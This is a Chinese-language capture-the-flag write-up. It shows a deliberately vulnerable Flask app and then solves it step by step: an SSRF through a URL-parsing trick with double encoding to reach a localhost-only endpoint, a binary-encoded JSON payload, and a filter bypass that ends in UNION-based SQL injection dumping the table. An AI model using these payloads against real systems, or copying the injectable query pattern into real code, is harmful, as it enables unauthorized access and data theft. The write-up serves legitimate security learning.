本文章附带TP(Thinking Process)!
#!/usr/bin/env python3
# 导入所需的库
import flask # Flask web框架
import sqlite3 # SQLite数据库操作
import requests # HTTP请求库
import string # 字符串处理
import json # JSON处理
app = flask.Flask(__name__) # 创建Flask应用实例
blacklist = string.ascii_letters # 所有英文字母(大小写)作为黑名单
# 将二进制字符串转换为普通字符串
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
# 将二进制字符串按每8位分割
binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
# 将每8位二进制转换为对应的字符
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
# 代理路由,用于转发请求
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url') # 获取请求参数中的url
if not url:
return flask.abort(400, 'No URL provided') # 如果没有提供url,返回400错误
target_url = "http://lamentxu.top" + url # 构造目标URL
# 检查url中是否包含黑名单中的字母
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
# 防止SSRF攻击,不允许包含点号
if "." in url:
return flask.abort(403, 'No ssrf allowed')
# 发送请求到目标URL
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
# 数据库查询函数
def db_search(code):
with sqlite3.connect('database.db') as conn: # 连接SQLite数据库
cur = conn.cursor()
# 执行SQL查询,对输入进行多次UPPER转换(可能是为了防御某些攻击)
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))")
found = cur.fetchone() # 获取查询结果
return None if found is None else found[0] # 返回结果或None
# 首页路由
@app.route('/')
def index():
print(flask.request.remote_addr) # 打印访问者的IP地址
return flask.render_template("index.html") # 渲染并返回index.html模板
# 1337路由,提供API搜索功能
@app.route('/1337', methods=['GET'])
def api_search():
# 只允许本地访问
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0') # 获取参数0
if code == 'abcdefghi': # 检查参数0是否为特定值
req = flask.request.args.get('1') # 获取参数1
try:
# 将二进制字符串转换为普通字符串
req = binary_to_string(req)
print(req)
# 解析JSON(注释中提到认为JSON比Pickle更安全)
req = json.loads(req)
except:
flask.abort(400, "Invalid JSON") # JSON解析失败返回400
# 检查JSON中是否包含name字段
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
# 检查name长度
if len(name) > 6:
flask.abort(400, "Too long")
# 防止SQL注入,检查特殊字符
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
这里有隐藏的WAF(Web应用防火墙)规则
"""
# 查询数据库
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person") # 未找到记录返回404
return {'Fate': fate} # 返回查询结果
else:
flask.abort(400, "Hello local, and hello hacker") # 参数0不正确返回400
else:
flask.abort(403, "Only local access allowed") # 非本地访问返回403
if __name__ == '__main__':
app.run(debug=True) # 启动Flask应用,开启调试模式
看起来,我们的第一步是尝试造成ssrf,访问查询api
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url') # 获取请求参数中的url
if not url:
return flask.abort(400, 'No URL provided') # 如果没有提供url,返回400错误
target_url = "http://lamentxu.top" + url # 构造目标URL
# 检查url中是否包含字母
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
# 防止SSRF攻击,不允许包含点号
if "." in url:
return flask.abort(403, 'No ssrf allowed')
# 发送请求到目标URL
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
题目没有禁止符号,翻看利用手册尝试利用解析差异访问
&@0:8080
/proxy?url=%20%26%400%3A8080
成功
/proxy?url=%20%26%400%3A8080
继续传递参数,我们使用双重url编码
&@0:8080/1337?0=%61%62%63%64%65%66%67%68%69
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569
按照代码逆向编写编码器
def string_to_binary(input_str):
"""将普通字符串转换为8位二进制组成的字符串"""
binary_str = []
for char in input_str:
# 获取字符的ASCII码并转换为二进制,补齐8位前导零
binary_char = bin(ord(char))[2:].zfill(8) # [2:]去除0b前缀
binary_str.append(binary_char)
return ''.join(binary_str)
a = "/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D"
print(a + string_to_binary('{"name":"test"}'))
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D011110110010001001101110011000010110110101100101001000100011101000100010011101000110010101110011011101000010001001111101
我们现在需要绕过
if len(name) > 6:
我们可以试试使用数组,灵感来自于我刚打完的 Cyber Apocalypse CTF 2025
len(['a'])
的输出是1,而且使用数组可以绕过剩下的waf
if '\'' in name: 只有在 ['\'] 时候才成立
但是这会造成一个意外的冒号
{"name":["\'))))))--"]}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('["'))))))--"]'))))))
或者我也可以尝试字典
{"name":{"test":"test"}}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'test': 'test'}'))))))
显然字典更合适,我应该使用union注入继续
import sqlite3
conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
NAME TEXT NOT NULL,
FATE TEXT NOT NULL
);""")
Fate = [
('JOHN', '1994-2030 Dead in a car accident'),
('JANE', '1990-2025 Lost in a fire'),
('SARAH', '1982-2017 Fired by a government official'),
('DANIEL', '1978-2013 Murdered by a police officer'),
('LUKE', '1974-2010 Assassinated by a military officer'),
('KAREN', '1970-2006 Fallen from a cliff'),
('BRIAN', '1966-2002 Drowned in a river'),
('ANNA', '1962-1998 Killed by a bomb'),
('JACOB', '1954-1990 Lost in a plane crash'),
('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)
conn.commit()
conn.close()
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'))))))) UNION SELECT FATE FROM FATETABLE--': ''}'))))))
{"name":{"))))))) UNION SELECT FATE FROM FATETABLE--":""}}
只返回了一个结果,我们需要拼接结果
{"name":{"))))))) UNION SELECT group_concat(FATE) FROM FATETABLE--":""}}
成功获得flag